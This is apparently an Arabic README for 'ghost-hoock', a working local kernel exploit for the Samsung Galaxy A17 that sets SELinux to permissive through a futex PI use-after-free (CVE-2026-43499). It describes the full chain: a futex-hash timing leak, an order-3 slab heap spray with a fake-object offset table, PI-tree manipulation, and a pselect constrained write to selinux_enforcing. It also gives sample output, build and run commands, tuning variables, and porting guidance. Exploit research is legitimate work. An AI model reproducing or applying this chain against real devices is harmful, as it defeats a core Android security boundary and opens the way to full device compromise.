
GhostLock مُجرَّد إلى عنصر أساسي واحد: إيقاف SELinux على Galaxy A17 (BZA5) عبر futex PI UAF (CVE-2026-43499). بدون root، بدون cred patch، بدون rwforge.
نسخة معدلة بسيطة من GhostLock تحتفظ ببدائية واحدة فقط: إيقاف SELinux عبر CVE-2026-43499 (futex PI UAF).
ghost-hoock هو نسخة معدلة مجردة من استغلال GhostLock بواسطة Mobile Hacking Lab، مختصرة إلى بدائية واحدة:
كتابة واحدة مقيّدة عبر futex PI UAF ->
selinux_enforcing = 0.
لا root، لا استبدال cred، لا قناة rwforge، لا UMH، لا configfs. فقط الحد الأدنى المطلوب لتحويل SELinux إلى الوضع المتساهل على النواة المصابة.
مثال على المخرجات على Samsung Galaxy A17 (SM-A175F, BZA5):
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
ثم:
$ getenforce
Permissive
getenforce يعيد Permissive
يستهدف الاستغلال CVE-2026-43499 — استخدام بعد التحرير (use-after-free) في سلسلة rt_mutex الخاصة بـ futex PI (وراثة الأولوية) في نواة Linux. السلسلة في ghost-hoock تتكون من أربع خطوات:
قناة جانبية للتوقيت ضد جدول تجزئة futex في النواة. نقوم بضرب FUTEX_WAKE_PRIVATE على مجموعة من futexes في مساحة المستخدم، ونقيس فروقات rdtsc، ونربط تصادمات دلاء التجزئة. هذا يستعيد عنوان mm_struct الخاص بنا — وهو أساس صفحة الرش التي نحتاجها لاحقًا.
هذه تقنية KernelSnitch، مأخوذة حرفيًا من الاستغلال الأصلي.
نخصص صفحة slab كبيرة من رتبة order-3، ثم نرتبها بتخطيط الكائنات المزيفة المستخدم في مسار PI:
ثلاثة خيوط:
FUTEX_WAIT_REQUEUE_PI على f_wait، مستهدفًا f_pi_target.FUTEX_LOCK_PI على f_pi_target ثم على f_pi_chain.sched_setattr(tid, SCHED_BATCH, nice=19) على TID الخاص بالـ waiter، مما يفعّل rt_mutex_setprio() ويجبر النواة على السير في شجرة PI المزيفة.نداء رابع من الخيط الرئيسي — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — يبدأ عملية إعادة الطابور. داخل النواة، يعمل rb_erase() على شجرتنا المزيفة.
ينسخ pselect() / select() قيمة fd_set الخاصة بالمستخدم إلى مكدس النواة ثم يسير عليها لاحقًا. نرتب خرائط بتات fd_set بحيث تستقر الكلمات التي تعاملها النواة كمؤشرات شجرة rb على fake_right وأبيه — وتصبح النتيجة rb_set_parent(child, parent):
*(uint64_t *)target = value | color
بالنسبة لـ mode = 1 (Write 1)، يكون target = selinux_enforcing و value = base + 0x100، والذي يُرمّز كـ byte0 = 0, byte1 = 1. تكتب النواة 0 في selinux_enforcing[0] — أصبح SELinux الآن متساهلًا.
هذه نسخة معدلة من mobilehackinglab/ghostlock-a17 (MIT). ما يلي مأخوذ 1:1 من الاستغلال الأصلي:
الكود المساعد (وحدات ماكرو pr_*، SYSCHK، pin_to_core، set_limit، set_unbuffer) محتفظ به أيضًا كما هو من الأصل.
يحقق GhostLock الأصلي root كامل على A17: يثبّت قناة قراءة/كتابة فيزيائية rwforge، ويعدّل cred / real_cred، ويشغّل مساعد UMH بصلاحيات init، ويلتقط السجلات، والمزيد. في ghost-hoock، كل ما هو بعد الكتابة المقيّدة الأولى قد اختفى.
يبقى GhostLock الأصلي أكثر اكتمالًا وقوة من هذه النسخة المعدلة. ghost-hoock ليس بديلًا — إنه PoC بسيط لمهمة واحدة ضيقة: إيقاف SELinux.
يتطلب clang و make في $PATH. تم اختباره على Termux؛ يعمل أيضًا عبر adb shell إذا كانت سلسلة الأدوات متوفرة.
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
المخرجات: ./ghost-hoock (aarch64, PIE).
عبر Android NDK (على جهاز كمبيوتر)
make NDK=/path/to/android-ndk-r26
أو يدويًا:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
فحص الترجمة المتقاطعة
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
الخيارات
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
متغيرات البيئة
· GHOSTLOCK_CORE — 0..N. نواة المعالج التي يُثبّت عليها خيط consumer. الافتراضي: 0. · KPHYS — 0x.... عنوان تحميل النواة الفيزيائي، إذا اختلف عن P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. عدد صفحات slab المُحضّرة أثناء الرش. الافتراضي: 32. · PSELECT_SHIFT — -14..14. إزاحة كلمة fd_set. للتصحيح فقط. · FOPS_MAX_ATTEMPTS — 4..72. الحد الأقصى لمحاولات prepare_kernel_page لحمولة FOPS. · RWF_DEBUG — أي قيمة. طباعة أسطر التصحيح من بناء الحمولة.
6.12.23-android16-5-abA175FXXS5BZD2-4k.shell (u:r:shell:s0)، وليس من تطبيق.النقل إلى أجهزة أخرى: تحتاج الأجهزة/الأنوية الأخرى إلى جدول إزاحات خاص بها. أضف
OFFSETS_ENTRY(...)جديدًا فيinclude/offsets_bza5.hمع إزاحات الرموز المستخرجة منvmlinux/kallsymsلذلك البناء، ثم أعد البناء.
page_base خاطئ أو كتابة تستقر على ذاكرة غير ذات صلة ستؤدي إلى تعطل النواة. النسخة المعدلة لديها سطح أقل من الأصل (لا rwforge، لا ترقيع cred، لا UMH)، لذا فهي أكثر أمانًا إحصائيًا، لكنها ليست مضمونة 100%.slide = 0. لا يوجد تسريب KASLR في هذه النسخة المعدلة. إذا نقلتها إلى نواة مع KASLR مفعّل، يجب عليك إعادة slide.c من الأصل.0 في selinux_enforcing. إذا كنت بحاجة إلى root، استخدم ghostlock-a17 الكامل.selinux_enforcing = 0). لا تحاول توسيعه إلى Write 2 أو خط أنابيب rwforge دون فهم مسار PI بعمق.
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — نفس ترخيص ghostlock-a17 الأصلي. راجع LICENSE.
تحتفظ هذه النسخة المعدلة بإشعار حقوق النشر الأصلي من mobilehackinglab (2026) وتضيف مؤلفي النسخة المعدلة فوقه، كما تقتضي شروط MIT.
يُنشر المشروع بشكل صارم من أجل البحث الأمني على جهازك الخاص. تشغيله ضد جهاز لا تملكه غير قانوني في معظم الولايات القضائية.
mm_struct.بُني للبحث. تم اختباره على جهاز فيزيائي واحد. استخدمه على مسؤوليتك الخاصة.
| الإزاحة | الكائن | الغرض |
|---|
0x0E80 | fake_lock | rt_mutex مزيف |
0x0F80 | fake_fops | جدول file_operations مزيف |
0x1180 | fake_w0 | rt_mutex_waiter مزيف يُستخدم كشجرة هدف |
0x1240 | fake_right | عقدة يمين مزيفة في شجرة rb — من هنا تأتي قيمة الكتابة |
0x1260 | fake_left | عقدة يسار مزيفة في شجرة rb |
0x1280 | fake_task | task_struct مزيف |
تُرسل الصفحة بأكملها عبر مقبس AF_UNIX بحجم SKB_SEND_SIZE = 2 * ORDER3_SIZE من sendmsg، بحيث تستقر بيانات skb على صفحتنا المسرّبة. ثم نحررها بترتيب محكوم بحيث تنتهي صفحتنا على slab جزئي لكل وحدة معالجة يمكننا استعادته.
ret = 6 (بدلًا من الافتراضي 9) يؤكد أن الكتابة قد استقرت: أصاب الـ consumer الهدف أثناء select()، مما أيقظه مبكرًا.
| المكوّن | الملف | ملاحظات |
|---|
| KernelSnitch | src/kernelsnitch/* | تسريب mm_struct عبر توقيت تجزئة futex |
| رش الكومة | src/spray.c | تخطيط الكائنات المزيفة، prepare_skb_payload، prepare_kernel_page |
| مسار PI + pselect | src/route.c | prepare_pselect_fdsets، do_pselect_fake_lock_route، consumer_thread، waiter_thread، owner_thread |
| إزاحات BZA5 | include/offsets_bza5.h | جدول الرموز المستخرج من 6.12.23-android16-5-abA175FXXS5BZD2-4k |
| ترويسة هدف BZA5 | include/target.h | تخطيط العناوين، إزاحات الحمولة (مجموعة فرعية W1 فقط) |
| إزاحات البنية وقت التشغيل | include/runtime_struct_offsets.h | وحدات ماكرو _RSO() لحقول task_struct |
| الملف المُزال | لماذا كان موجودًا في الأصل |
|---|
rwforge_a17.c | قناة قراءة/كتابة فيزيائية Marching-forger عبر pipe_buffers |
pipe_physrw.c، pipe_reclaim.c | استعادة pipe-buffer -> قراءة/كتابة عشوائية في النواة |
root.c | استبدال cred / real_cred، تثبيت su، ترقيع SELinux SID |
umh_root.c، wq_umh_root() (في main.c) | تشغيل مساعد بصلاحيات init من عنصر workqueue مزيف في النواة |
slide.c | تسريب KASLR عبر أوراكل boot_id — غير مطلوب على BZA5، KASLR معطّل |
miniadb.c | التمهيد عبر ADB TCP |
try_cfi_stage() (في fops.c) | مرحلة configfs متوافقة مع CFI تُستخدم لتمهيد مسار root |
run_rwforge()، run_bootid_oracle()، rwforge_root_and_capture() | خط أنابيب root بأكمله |
install_embedded_su()، install_embedded_wallpaper() | مساعدات تثبيت root |
Write 2 (cred)، patch_cred_*، patch_task_seccomp | الاستيلاء على بيانات الاعتماد بعد W1 |